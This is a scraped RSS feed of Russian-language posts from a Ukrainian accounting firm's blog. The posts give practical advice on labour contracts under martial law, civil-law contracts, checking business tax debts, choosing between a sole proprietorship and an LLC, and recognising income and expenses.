]]> http://assets-buh.com.ua/ru/kto-to-mozhet-oderzhat-derzhdopomogu-na-podderzhku/feed/ 0 Что делать работодателю в случае смерти работника во время военного положения http://assets-buh.com.ua/ru/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/ http://assets-buh.com.ua/ru/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/#respond Tue, 31 May 2022 14:59:56 +0000 https://assets-buh.com.ua/?p=1637 КЗпП не містить такої підстави припинення трудового договору, як смерть працівника. Тому в такому випадку припинення трудового договору провадиться на підставі норм трудового законодавства з урахуванням норм цивільного законодавства. У разі смерті працівника роботодавець повинен оформити припинення з ним трудових відносин, а саме видати відповідний наказ та усі належні померлому працівникові грошові суми виплатити членам […]

The post Що робити роботодавцю у разі смерті працівника під час воєнного стану appeared first on Assets.

]]> КЗоТ не содержит такого основания для прекращения трудового договора, как смерть работника. Поэтому в таком случае прекращение трудового договора производится из норм трудового законодательства с учетом норм гражданского законодательства.

В случае смерти работника работодатель должен оформить прекращение с ним трудовых отношений, а именно выдать соответствующий приказ и все причитающиеся умершему работнику денежные суммы выплатить членам его семьи или наследникам.

Основанием для прекращения трудовых отношений с умершим работником является должным образом оформленное свидетельство о смерти или решение суда. Без документа прекратить трудовой договор с таким работником не получится.

 

Документальное оформление прекращения трудовых отношений с умершим работником

 

Первый шаг – решение вопроса об исключении умершего работника из личного состава, а также об оформлении трудовой книжки.

После того, как свидетельство о смерти от родственников будет передано работодателю, выдаем приказ (распоряжение) об исключении работника из списков работников в связи со смертью. Копия свидетельства о смерти прилагается к личной карточке умершего работника.

В случае отсутствия свидетельства о смерти самостоятельно обращаемся ко всем органам, в которых могла происходить регистрация смерти работника: последнее место регистрации, по месту наступления смерти или обнаружения трупа или по месту захоронения. В таком случае приказ (распоряжение) о прекращении трудового договора с умершим работником можно выдать только на основании полученного ответа с указанием даты смерти.

Обращаем внимание, что дата приказа (распоряжение) об исключении работника из списков работников в связи с кончиной и дата прекращения трудового договора могут не совпадать (см. письмо Минсоцполитики № 284/06/186-10 от 21.12.2010 г.).

 

Датой прекращения трудового договора станет дата смерти работника

 

Табелирование работника продолжается даже если известно, что работник умер. Ответственное за ведение табеля, ежедневно вносить в него соответствующие отметки причины отсутствия работника на работе. Лишь после издания приказа (распоряжения) о прекращении трудовых отношений при смерти работника можно прекратить ежедневное его табелирование и составить итоговый табель.

В приказе о прекращении трудового договора в связи со смертью указывается количество дней неиспользованного ежегодного основного отпуска и дополнительного отпуска для работников, имеющих детей. Согласно ч. 6 ст. 24 Закона об отпусках в случае смерти работника денежная компенсация за неиспользованный им ежегодный основной отпуск, а также дополнительный отпуск работникам, имеющим детей, выплачивается наследникам.

Трудовую книгу умершего работника заполняем в соответствии с Инструкцией о трудовых книжках. Отмечаем:

- в графе 1 - номер записи по порядку;

- в графе 2 - дату увольнения;

— в графе 3 — «Работа прекращена в связи со смертью». Ссылку на норму КЗоТ не делаем;

— в графе 4 — документ, послуживший основанием для внесения записи (приказ, распоряжение и др.), его дату и номер.

 

Выплата заработной платы умершего работника

 

Заработная плата умершего работника начисляется за фактически отработанное время.

Согласно ст.116 КЗоТ при увольнении работника выплата всех сумм, принадлежащих ему от предприятия, производится в день увольнения, а если работник не работал в этот день, то указанные суммы следует выплатить не позднее следующего дня после предъявления уволенным работником требования о расчете.

 

Кому выплачиваем

 

Согласно ст. 1227 ГКУ сумма заработной платы, принадлежавшая наследодателю, но не им полученная при жизни, передается членам его семьи.

В ч. 6 ст. 83 КЗоТ указано, что в случае смерти работника денежная компенсация за неиспользованные им дни ежегодных отпусков, а также дополнительный отпуск работникам, имеющим детей или совершеннолетнего ребенка с инвалидностью с детства подгруппы А I группы, выплачивается наследникам.

В большинстве случаев судебная практика считает, что зарплату, в том числе денежную компенсацию, перечисленную выше, члены семьи умершего могут получить сразу после открытия наследства (в день смерти, или в день, с которого лицо объявляется умершим), а наследники (не члены семьи) — в срок, установленный для принятия наследства.

Если никто из родственников умершего на предприятие не обратится, заработная плата включается в состав наследства. То есть получить его смогут только наследники на основании свидетельства о наследстве.

 

Выводы

 

Согласно ст. 119 КЗоТ за работниками, которые были призваны на военную службу по призыву во время мобилизации, и погибли во время прохождения военной службы, сохраняется место работы, должность и выплачивается средний заработок до дня объявления судом их умершими.

То есть работодатель обязан работнику, призванному на военную службу по призыву во время мобилизации, до дня объявления судом его умершим хранить место работы, должность и выплачивать средний заработок.

Учитывая это, вполне закономерно может возникнуть ситуация, когда печальное известие работодатель получает значительно позже даты смерти работника, в результате чего будет продолжать начисление работнику среднего заработка до момента, когда фактически узнает об этом.

Что же делать в данной ситуации? Ответ на указанный вопрос может содержаться в локальных нормативно-правовых актах предприятия (например, коллективном договоре), положения которого могут предусматривать как проведение корректировки зарплаты умершего работника на неотработанные дни, так и запрет на такие действия.

В противном случае руководствуемся требованиями ст.ст. 127, 132 КЗоТ. То есть, если о смерти работника стало известно:

Не позднее одного месяца со дня выплаты неправильно исчисленной суммы — издаем приказ (распоряжение) об удержании из зарплаты умершего работника излишне выплаченных сумм (п. 1 ч. 2 ст. 127 КЗоТ);

Источник: LIGA ZAKON

The post Що робити роботодавцю у разі смерті працівника під час воєнного стану appeared first on Assets.

]]> http://assets-buh.com.ua/ru/%D0%A9%D0%BE-%D1%80%D0%BE%D0%B1%D0%B8%D1%82%D0%B8-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D0%B4%D0%B0%D0%B2%D1%86%D1%8E-%D1%83-%D1%80%D0%B0%D0%B7%D1%96-%D1%81%D0%BC%D0%B5%D1%80%D1%82%D1%96-%D0%BF%D1%80%D0%B0%D1%86%D1%96%D0%B2%D0%BD%D0%B8%D0%BA%D0%B0-%D0%BF%D1%96%D0%B4-%D1%87%D0%B0%D1%81-%D0%B2%D0%BE%D1%94%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%81%D1%82%D0%B0%D0%BD%D1%83/feed/ 0 Приостановление действия трудового договора http://assets-buh.com.ua/ru/prizupenie-diyi-trudovogo-dogovora/ http://assets-buh.com.ua/ru/prizupenie-diyi-trudovogo-dogovora/#respond Thu, 28 Apr 2022 11:07:39 +0000 https://assets-buh.com.ua/?p=1549 Дію трудового договору можна призупинити у зв’язку з військовою агресією проти України, що виключає можливість надати та виконувати роботу. Право призупинити трудові відносини мають як працівник, так і роботодавець. У цьому разі трудові відносини фактично тривають, але: роботодавець тимчасово припиняє забезпечувати працівника роботою; працівник тимчасово припиняє роботу за трудовим договором. Призупинення — це не звільнення. […]

The post Призупинення дії трудового договору appeared first on Assets.

]]>
Действие трудового договора может быть приостановлено в связи с военной агрессией против Украины, что исключает возможность предоставить и выполнять работу.
Право приостановить трудовые отношения имеют как работник, так и работодатель. В этом случае трудовые отношения фактически продолжаются, но:

  • работодатель временно прекращает снабжать работника работой;
  • работник временно прекращает работу по трудовому договору.
Приостановка – это не увольнение. Приостановление действия трудового договора не прекращает трудовые отношения.

 

  • абсолютная невозможность обеспечить работника работой;
  • временный характер такой меры;
  • не влечет прекращения трудовых отношений.

Итак, главное – приостановление действия трудового договора не должно использоваться с целью не уплаты работнику заработной платы, а потому оно должно быть обоснованным. Вместе с тем, категория обоснованности в случае возникновения любых споров, в т.ч. и судебных споров, является категорией оценочной, и подлежит оценке судом в контексте всех фактических обстоятельств дела (разъяснение от jurliga.ligazakon.net).

Главное условие, чтобы приостановить действие трудового договора – абсолютная невозможность работодателя предоставить работу, а работника – выполнять ее.

Работодатель не выплачивает работнику зарплату во время приостановки, но бухгалтер должен фиксировать сумму зарплаты, которую работник не получил за время, когда трудовые отношения приостановили, а также суммы ЕСВ, которые должен был уплатить работодатель.
Работник получает деньги за время приостановки после нашей победы. Верховная Рада возложила на государство, осуществляющее военную агрессию против Украины, обязанность возместить в полном объеме зарплату, гарантийные и компенсационные выплаты работникам за время приостановления трудового договора (ч. 3 ст. 13 Закона № 2136).

Указанного механизма компенсации в настоящее время действующее законодательство Украины не содержит. Когда такие нормы появятся, к сожалению, неизвестно.
Поскольку при приостановке трудового договора работодатель не будет выплачивать зарплаты, то отсутствует база начисления ЕСВ, а соответственно — ЕСВ не платится.

Приостановка — достойная альтернатива отпуску без сохранения зарплаты, ведь за время приостановки работник получает деньги после победы, а в случае отпуска за свой счет ничего не получает.

The post Призупинення дії трудового договору appeared first on Assets.

]]> http://assets-buh.com.ua/ru/prizupenie-diyi-trudovogo-dogovora/feed/ 0 Что нужно знать о договорах ЦПХ/ГПХ http://assets-buh.com.ua/ru/dogovora_cph/ http://assets-buh.com.ua/ru/dogovora_cph/#respond Sun, 02 May 2021 09:03:09 +0000 https://assets-buh.com.ua/?p=1252 Прежде всего, давайте определимся с понятиями. ЦПХ и ГПХ – это одно и то же. ЦПХ – от украинского “цивільно-правового характеру”. ГПХ – гражданско-правового характера. 1.В чем отличие трудового договора от договора ЦПХ/ГПХ?  По трудовому договору сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой […]

The post Что нужно знать про договора ЦПХ/ГПХ appeared first on Assets.

]]> Прежде всего, давайте определимся с понятиями.
ЦПХ и ГПХ – это одно и то же. ЦПХ – вот украинского "гражданско-правового характера". ГПХ – гражданско-правовой характер.

1.В чем отличие трудового контракта от контракта ЦПХ/ГПХ? 

По трудовому договору Сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой контракт может быть как со сроком, к примеру в год, так и бессрочным. Другими словами, человек работает по трудовой книжке. В таком случае предприятие обязано:
– выплачивать ему ежемесячно зарплату,
– обеспечить социальные гарантии: отпуск раз в год, больничные, индексация заработной платы. 

Тогда как Договор ЦПХ или ГПХ –  подразумевает, что человек является подрядчиком:
 – выполняет разовые работы,
– не зависит от графика работы в компании,
– оплату получает по договоренности за проделанную работу.
По договору ГПХ не может работать продавец и кассир.

2.Понятие “трудовые дела”.

По трудовому договору сотрудник состоит в трудовых отношениях с компанией, а по договору ЦПХ – нет.
Если трактовать понятие трудовых отношений в целом, то под них попадут и ГПХ, но мы рассматриваем это понятие с точки зрения инспектора Гоструда. Предположим, вы оформили продавца по договору ГПХ и он работает у вас в течение года. Впоследствии, при проверке Гоструда инспектор выявит признаки трудовых отношений, попадающих под трудовой договор, а не ГПХ.
Следовательно, в этом случае выпишут штраф за сокрытие трудовых отношений.

3.Признаки трудовых отношений.
Законопроект № 5054 от 09.02.2021, где хотели утвердить эти признаки не подписали.
Однако по этим признакам и раньше выявляли скрытые трудовые отношения: 

  1. выполнение работы по конкретной должности по поручению лица, в интересах которого выполняются работы;
  2. регулирование процесса труда, который носит неизменный характер и не предполагает определенного результата за определенный период;
  3. выполнение работы в определенном рабочем месте с соблюдением правил трудового распорядка;
  4. организация условий труда “работодателем” (предоставление оборудования, инструментов, материалов, рабочего места)
  5. систематическая выплата человеку, выполняющему работу;
  6. наличие точного графика рабочего времени и времени отдыха;
  7. возмещения поездок и других финансовых затрат, связанных с выполнением работы.

Результат.
1.Оформить контракт ГПХ имеет смысл тогда, когда человек вправду оказывает разовые работы либо сервисы, либо с редкой периодичностью.
2.Есть риск штрафов при проверке. К примеру, швея может оказывать сервисы по договору ГПХ, но если она приходит на место работодателя ежедневно с 09.00 до 18.00 в течение года, то при проверке сходу выявят трудовые дела.

 

Больше информации о ФЛП и ООО можно посмотреть на канале Анны Куровской. Перейти к каналу. 

Наш телеграмм канал здесь

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.

The post Что нужно знать про договора ЦПХ/ГПХ appeared first on Assets.

]]> http://assets-buh.com.ua/ru/dogovora_cph/feed/ 0 Как проверить без ключа, есть ли долги у ФЛП и ООО. http://assets-buh.com.ua/ru/fop-tov-loans-checking/ http://assets-buh.com.ua/ru/fop-tov-loans-checking/#respond Wed, 28 Apr 2021 08:50:25 +0000 http://assets-buh.com.ua/?p=1240 Перейдите  сайт https://tax.gov.ua/businesspartner.  Там вы выбираете ООО или физлицо (если у вас ФОП), вводите идентификационный код, проходите проверку, что вы не робот, и получаете результат. Также там есть поле ФИО, не заполняйте его, если вводите код. Заполняется только одно поле из этих двух. Если нужно узнать более детально сумму долга, это можно сделать через электронный кабинет […]

The post Как проверить без ключа, есть ли долги у ФОП и ООО. appeared first on Assets.

]]>
Перейдите на сайт https://tax.gov.ua/businesspartner.  Там вы выбираете ООО или физлицо (если у вас ФЛП), вводите идентификационный код, проходите проверку, что вы не робот, и получаете результат. Также там есть поле ФИО, не заполняйте его, если вводите код. Заполняется только одно поле из этих двух.
Если нужно узнать более подробно о сумме долга, это можно сделать через электронный кабинет с ключом, как зайти в кабинет мы писали здесь. 

Больше информации о ФЛП и ООО можно посмотреть на канале Анны Куровской. Перейти к каналу. 

Наш телеграмм канал здесь

Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.

The post Как проверить без ключа, есть ли долги у ФОП и ООО. appeared first on Assets.

]]> http://assets-buh.com.ua/ru/fop-tov-loans-checking/feed/ 0 Регистрировать собственную компанию или нет? http://assets-buh.com.ua/ru/registrat-sobstvennuu-kompaniyu-ili-net/ http://assets-buh.com.ua/ru/registrat-sobstvennuu-kompaniyu-ili-net/#respond Sun, 13 Jan 2019 13:51:12 +0000 http://assets-buh.com.ua/?p=475 “Мы живем в стране, где бизнес ведется на два кармана: белый и серый. И это ни для кого не секрет”, – с таких слов начал разговор клиент на встрече с нашим финансистом. И он прав. Хотим добавить, что не все ведут бизнес таким образом, некоторые вообще не имеют зарегистрированной компании. В этой статье мы расскажем, […]

The post Регистрировать собственную компанию или нет? appeared first on Assets.

]]> "Мы живем в стране, где бизнес ведется на две карманы: белый и серый. И это ни для кого не секрет", - сказал он. И он прав. Хотим добавить, что все ведут бизнес таким образом, некоторые вообще не имеют зарегистрированной компании. В данной статье мы расскажем, в чем же, по нашему мнению, преимущество регистрации бизнеса. Под регистрацией мы имеем на вид создание юридического лица, к примеру, такового, как общество с ограниченной ответственностью либо физического лица-предпринимателя.

Разумеется, самая главная причина, почему предприниматели не хотят регистрировать компанию – это нежелание платить налоги. Рассмотрим три типа бизнесменов по отношению к налогам:

Первая категория предпринимателей. Предприниматели категорически отказываются платить налоги и делают все возможное, чтобы избежать этого. Работают как можно дольше таким образом, чтобы не возникала необходимость регистрировать ни компанию, ни ФОП. Впрочем, откровенно говоря, они все равно платят налоги: когда пользуются услугами партнеров, когда приходят в ресторан или в супермаркет. То есть, вместо того, чтобы делать лучше свой бизнес и себя, люди думают: только бы государству досталось меньше. И после борьбы с ветряными мельницами сил на собственное развитие может и не остаться.

Вторая категория предпринимателей. Также не хотят платить налоги, однако бизнес спустя время регистрируют. Пожалуй, это предприниматели из первой категории, которые приобрели опыт и поняли: если они граждане этой страны и хотят развивать свое дело, нужно искать пути развития и адаптироваться к системе, в которой они живут. «То есть, если мы нырнули в воду, надо уметь плавать, а не бегать. Если мы на велосипеде – следует крутить педали, а не приседать. А если решили делать бизнес, то нужно регистрировать компанию.

Третья категория предпринимателей. Имеют амбициозные цели и понимают, что для развития бизнеса без регистрации не обойтись. Потому просчитывают свои деньги, находят профессионалов и планируют, как вести предпринимательскую деятельность. Такие люди тратят время на то, чтобы увеличить свои показатели, чтобы реализовать свою цель. И если за это нужно платить налоги – они платят. Но понимают, что платить нужно так, чтобы расти, а не обанкротиться. Именно для этого существует оптимизация налогов, которая является вполне законной.

Итак, а какие же преимущества в регистрации бизнеса?

1. Любовь к своей стране – делом, а не словом.

Может быть, звучит пафосно. Но уплата налогов – это один из характеристик патриотизма. Многие предприниматели публично не бьют себя в грудь и не кричат громко о любви к стране, и при этом ежемесячно платят налоги. Это и есть любовь к стране, а иначе как ее выражать?

2. Капитализация и продажа бизнеса.

Любовь – любовью, но бизнес есть бизнес. И предприниматели, как никто, это не понимают. Если бизнес зарегистрирован, его можно продать. У нас на бухгалтерском обслуживании есть клиенты, которые уже сейчас строят будущее своей компании с целью ее продажи зарубежным инвесторам. И этот путь значительно отличается от того, когда собственник не задумывается о продаже компании или не имеет больших планов на десять лет вперед.

3. Привлечение потенциально интересных, крупных партнеров и клиентов.

Это сродни продаже компании, но имеет несколько другое направление. Часто партнеры – это возможность открытия новых направлений бизнеса и увеличение количества клиентов. А когда есть зарегистрированная компания – значит, один из шагов уже сделан. Партнеры могут посмотреть на показатели текущей и прошлой деятельности, обороты, активы. Но с партнерами можно и с нуля зарегистрировать компанию, что не является проблемой, поскольку сейчас регистрация проходит довольно быстро.

4. Выход на интернациональный уровень.

Для начинающих бизнесменов это может показаться голословным и нереалистичным. "Где мой бизнес, а где – международный уровень?" – иронизируют некоторые из них. Но если у владельцев есть потенциал и желание строить бизнес с партнерами и клиентами не только в Украине, но и за пределами нашей страны – то уже не будет вопроса о том, регистрировать бизнес или нет.

5. Привлечение кредитов.

Банки дают кредиты тем юридическим лицам, которые работают не менее года и имеют отчетность и обороты. То есть наработали определенную платежную историю. Мы знаем немало предпринимателей, в том числе наших клиентов, которые брали кредиты для расширения своего бизнеса, и многим это помогало расти.

Итак, как при регистрации компании, так и при получении кредита необходимо:

Во-первых, делать расчеты. Для того чтобы понимать, как будете погашать кредит, на какие цели его берете и тому подобное.
Во-вторых, быть дисциплинированным и последовательным в своих действиях Если этот кредит берется на бизнес, то туда он должен идти. Если вам требуются ежедневно какие-то действия – их надо делать, а иначе ни один кредит или инвестор не помогут.

Не так страшен бизнес, как это кажется новичкам на берегу большего предпринимательского океана. Это нелегко, но и в других областях нужны усилия: для значительных достижений в спорте, искусстве, учебе или в кино. Каждая отдельная деятельность требует от человека тех или иных навыков и действий. В бизнесе – это продажи, переговоры, систематизация. И как один из компонентов – оформление юридического лица. Это пазл, без которого не будет картинки. Поэтому лучше направить энергию на продажи, увеличение клиентов, на оптимизацию, а не на поиск полного ухода от налогов.

 

The post Регистрировать собственную компанию или нет? appeared first on Assets.

]]> http://assets-buh.com.ua/ru/registrat-sobstvennuu-kompaniyu-ili-net/feed/ 0 ФЛП или ООО: преимущества и недостатки http://assets-buh.com.ua/ru/fop-ili-tov-preimushehstva-i-nedostatki/ http://assets-buh.com.ua/ru/fop-ili-tov-preimushehstva-i-nedostatki/#respond Sun, 13 Jan 2019 12:39:58 +0000 http://assets-buh.com.ua/?p=448 «Не знаю, что выбрать, ФОП или ООО?» – часто с таким вопросом обращаются в нашу компанию клиенты. Выбор формы регистрации волнует многих начинающих предпринимателей. Поэтому мы подробно расскажем о плюсах и минусах ФОП и ООО. И ФОП, и ООО являются юридическими лицами, с помощью которых предприниматели ведут свою деятельность. ФОП – это физическое лицо предприниматель. […]

The post ФОП или ТОВ: преимущества и недостатки appeared first on Assets.

]]> «Не знаю, что выбрать, ФЛП или ООО?» – часто с таким вопросом обращаются в нашу компанию клиенты. Выбор формы регистрации волнует многих начинающих бизнесменов. Поэтому мы подробно расскажем о плюсах и минусах ФЛП и ООО.

И ФЛП, и ООО являются юридическими лицами, с помощью которых предприниматели ведут свою деятельность.
ФЛП – это физическое лицо предприниматель.
ООО – это общество с ограниченной ответственностью.

Также существуют:

  • Частные компании (ЧП). Форма, больше похожая на ООО;
  • Акционерные общества (ОАО, ЗАО). Здесь права на собственность распределяются акциями. У таких предприятий значительно выше требования к отчетности и ведению бизнеса;
  • Общественные и некоммерческие организации. Их целью является социальная деятельность, и она не направлена  на получение прибыли.
  • Наиболее распространенными формами являются ФЛП и ООО, которые мы и рассмотрим.

 

Вопросы, на которые необходимо ответить перед тем, как выбрать форму регистрации:

 

1. Какой деятельностью вы будете заниматься?
2. Есть ли у вас партнеры, с кем вы бы хотели официально задекларировать партнерство в вашем бизнесе?
3. Кем будут ваши клиенты: компании (юридические лица) или конечный потребитель (население)?
4. Есть ли у вашей собственности зарегистрированное имущество с высокой стоимостью?
5. Планируете ли вы привлекать инвесторов к своему бизнесу или продавать его?

 

Преимущества ФЛП

 

  • Легкость в регистрации и ведении бухгалтерии. Некоторые ФЛП самостоятельно ведут свою бухгалтерию. Бухгалтерия ООО сложнее – там необходимо привлекать специалиста;
  • Легкость в получении незапятанной прибыли. Это важное преимущество, потому что все средства, поступающие на счет ФЛП, он может снимать, и не отчитываться за них. Главное, своевременно платить налоги и представлять отчетность;
  • Легкость в закрытии ФЛП. Сделать это гораздо проще, чем с ООО;
  • Можно не использовать кассовый аппарат с оборотом до 1 млн. грн. в год. Если деятельность ФОП попадает под требование ставит кассовый аппарат – он может его не использовать для достижения оборота 1 млн грн. в течение одного года;
  • Нет необходимости в наличии юридического адреса, ФЛП регистрируют по месту регистрации физического лица;

 

Недостатки ФЛП

 

Основной недостаток – риск собственным имуществом. Если начинается судебный процесс, ФЛП несет ответственность имуществом, которое на нем числится. Однако, если вести деятельность в правовом поле, риск таких ситуаций крайне низок.

Так же не все компании готовы работать с ФЛП, а именно – крупные компании. Кто-то по причине недоверия, кто-то – из собственных внутренних корпоративных обстоятельств.

 

Кому лучше выбирать ФЛП?

 

  1. Тем, кто только начинает вести предпринимательскую деятельность;
  2. Тем, у кого деятельность связана с услугами. Тем, кто хочет заниматься торговлей – так же можно открывать ФЛП, но часто бывает сразу выгоднее открыть ООО, многое зависит от масштаба деятельности;
  3. Кто работает преимущественно с конечным потребителем и имеет объем доходов в размере 300 тыс. –1,5 млн грн. в год (1 и 2 группа ФЛП) или до 5 млн грн. в час (3 группа ФЛП);
  4. Незначительный процент официальных расходов в сравнении с доходами;
  5. Кому выгодно, что ФОП дешев в обслуживании.

 

Преимущества ООО

 

  • Возможность строить крупный бизнес, привлекать инвесторов и кредиторов. Для ООО это более может быть, чем для ФЛП;
  • возможность работать с крупными компаниями;
  • Ответственность перед должниками только капиталом ООО. То есть темы активами, которые находятся в собственности ООО;
  • Каждый из основателей должен внести вклад в уставный капитал. Эта сумма заранее обсуждается и прописывается в уставе. Взносы можно делать денежными средствами либо имуществом. Затем эти средства и имущество могут быть использованы в хозяйственной деятельности предприятия.

 

Недостатки ООО по сравнению с ФЛП

 

  • Сложнее и дорогостоящая регистрация;
  • Необходим уставный капитал, подготовка пакета документов: устава, протокола, приказа и т.Д.;
  • Дороже в обслуживании бухгалтерии. Ведение самой бухгалтерии требует больше внимания и более сложной, чем в ФЛП;
  • Необходим юридический адрес, по которому ООО будет числиться. Это также может быть адрес одного из учредителей или арендовать офис.

 

Причины для выбора ООО

 

  1. Вид деятельности, обусловливающий необходимость регистрации ООО, например, туристические агентства, страховая, финансовая деятельность и тому подобное;
  2. У кого есть партнеры по бизнесу и необходимо официально распределить доли бизнеса;
  3. Предприниматели, которые хотят впоследствии продать бизнес или привлечь инвесторов в судьбу бизнеса;
  4. Предприниматели, работающие в основном с крупным бизнесом и компаниями;
  5. Предприниматели, которые «выросли» из ФЛП, и пришла пора расширяться.

 

Когда мы с клиентами проходимся по всем пунктам, становится понятно, что выгоднее регистрировать. Если  у вас остались вопросы и вы пока все еще не можете определиться, что выбрать, имеет смысл проконсультироваться с бухгалтером, чтобы сделать правильный выбор.

The post ФОП или ТОВ: преимущества и недостатки appeared first on Assets.

]]> http://assets-buh.com.ua/ru/fop-ili-tov-preimushehstva-i-nedostatki/feed/ 0 о доходах и расходах: что должны знать владельцы ООО? http://assets-buh.com.ua/ru/kogda-malo-deneg/ http://assets-buh.com.ua/ru/kogda-malo-deneg/#respond Fri, 28 Dec 2018 14:31:48 +0000 http://assets-buh.com.ua/?p=332 По окончанию года бухгалтеры составляют балансы и отчитываются о финансовых результатах. Иногда результаты шокируют владельцев: прибыль по бухгалтерской отчетности больше, чем реально денег на руках. Раскроем основное, что нужно знать владельцам предприятий на общей системе налогообложения, чтобы избежать такой ситуации. Когда возникают доходы?   У предприятий на общей системе налогообложения доход возникает не тогда, когда […]

The post О доходах и расходах: что должны знать владельцы ООО? appeared first on Assets.

]]> По истечении года бухгалтеры составляют балансы и отчитываются о денежных результатах. Иногда результаты шокируют владельцев: прибыль по бухгалтерской отчетности больше, чем реально денег на руках. Раскроем основное, что нужно знать владельцам предприятий в общей системе налогообложения, чтобы избежать такой ситуации.

Когда появляются доходы?

 

У компаний в общей системе налогообложения доход появляется не тогда, когда зашли средства от покупателя, а тогда, когда бухгалтер выписал документ, подтверждающий факт воплощения отгрузки продукта либо оказания услуг.

К примеру, ООО «Елка» 20 декабря 2018 г. отгрузило игрушки покупателю на сумму 5 тыс. грн. Оплату за эти игрушки ООО «Елка» получит только в январе 2019 года. Но доход возникнет у этого предприятия именно 20 декабря 2018 г. Или наоборот, ООО «Елка» получила аванс в размере 10 тыс. грн. в декабре 2018 г., а товар отгрузит по условиям договора в феврале 2019 г. Тогда и доход возникнет именно в феврале 2019 г.

Это сигнализирует владельцам о том, что надо понимать, когда возникают доходы, чтобы правильно спланировать расходы и оптимизировать уплату налогов.

Что можно отнести к расходам и когда они возникают?

 

В общем, расходы можно поделить на две категории.

Во-первых, это затраты, которые напрямую относятся к изготовлению или закупке товара/услуг, проданных в текущем месяце.
К таким расходам относятся:

  • себестоимость товара, который купили и продали;
  • себестоимость готовой продукции, которую изготовили и продали;
    себестоимость услуг, которые выполнили.

К прямым затратам также относят заработную плату производственного персонала и амортизацию основных средств, на которых непосредственно изготавливают продукцию. Это может быть печь, в которой пекут хлеб, или станок, на котором клеят бумажные мешки.

Во-вторых, это косвенные издержки производства или офиса:

  • аренда;
  • транспорт;
  • реклама;
  • концтовары;
  • электроэнергия;
  • заработная плата админ персонала, уборщиц, водителей;
  • амортизация непроизводственных главных средств (к примеру, компьютеров) и др.

Типичная ошибка: директор заплатил за товар 20 тыс. грн. В конце 2018 г. он потратил деньги с расчетного счета, и считает, что у него появились расходы. Но если товар, предназначенный для продажи, будет лежать на складе и продадут его только в следующем году, то на сумму 20 тыс. грн. в расходы в 2018 г. отнести невозможно. Это ни первая, ни вторая категория расходов, о которых мы написали выше. Расходы возникнут только тогда, когда товар будет продан.

Расходы непременно обязаны быть связаны с получением дохода либо обеспечением текущей деятельности компании. То есть расходы возникают в период получения дохода, благодаря этим расходам у предприятия собственно и появляется доход.

Давайте сейчас эти 20 тысяч. грн. потратим по-другому. Купим компьютер для офиса. Это уже относится к расходам. Но спишем не всю сумму, а только часть, так как компьютер принадлежит к основным средствам, которые амортизируются пропорционально сроку использования. Предположим, что по характеристикам компьютера срок его использования – 5 лет (это 60 месяцев).
20 тыс. грн.: 60 мес. = 333,33 грн.
Амортизация ежемесячно будет составлять 333,33 грн. Если компьютер был приобретен в декабре 2018, то с 20 тыс. грн. на расходы 2018 г. мы спишем только 333,33 грн.

Чем доказать расходы?

 

Подтверждением расходов является полученный документ, а не израсходованные средства.
Скажем, ООО "Елка" арендует помещения. За ноябрь «Елка» еще не заплатила арендатору, но на руках у бухгалтера есть акт от 30 ноября 2018 года, так как услугу реально получили. Это общепроизводственные расходы. Деньги не потратили, но на руках есть документ, поэтому по бухгалтерскому учету возникли расходы.

Весьма неприятную ошибку могут совершить начинающие бизнесмены, которые предоставляют услуги и привлекают подрядчиков. Возьмем к примеру компанию «Ивент», которая организовывает банкеты и завлекает подрядные компании, делегируя им часть работы.
Компания «Ивент» предоставила услуги заказчику и подписала с ним акт в размере 300 тыс. грн. от 31 октября 2018 г. В ноябре 2018 г. получила всю оплату и из нее 150 тыс. грн. заплатила своему подрядчику. Это значит, что эти 150 тысяч. грн. должны входить в себе стоимость работ октября, так как часть услуг на банкете выполнил именно подрядчик.
Но, если подрядчик предоставит акт в ноябре, а не в октября то 150 тыс. грн. уже нельзя включить в расходы, так как их невозможно отнести к доходу, возникшему в октябре.

На первый взгляд, вышеизложенное может показаться довольно сложным, но тщательно прочитав пару раз, все станет ясно. Обычно мы несколько раз объясняем нашим клиентам сложные моменты, чтобы было понятно, какими возможно получить последствия в работе.

Что можно посоветовать владельцам:

 

1. Если у вас есть бухгалтер, задавайте ему много вопросов: откуда возникают доходы и затраты, как формируется прибыль. Вы и сами поймете больше, и при этом проверите своего бухгалтера на профессионализм.
2. Консультируйтесь с другими бухгалтерами, чтобы разобраться. Владельцу такие знания необходимы в любом случае, потому что это влияет на личные деньги.
3. Начинайте думать о результатах года раньше декабря и ноября – поскольку иногда бывает поздно.
4. Помните, что опытный бухгалтер может подсказать пути выхода из тяжелой ситуации, если вы уже в нее попали, советуйтесь с несколькими специалистами.

The post О доходах и расходах: что должны знать владельцы ООО? appeared first on Assets.

]]> http://assets-buh.com.ua/ru/kogda-malo-deneg/feed/ 0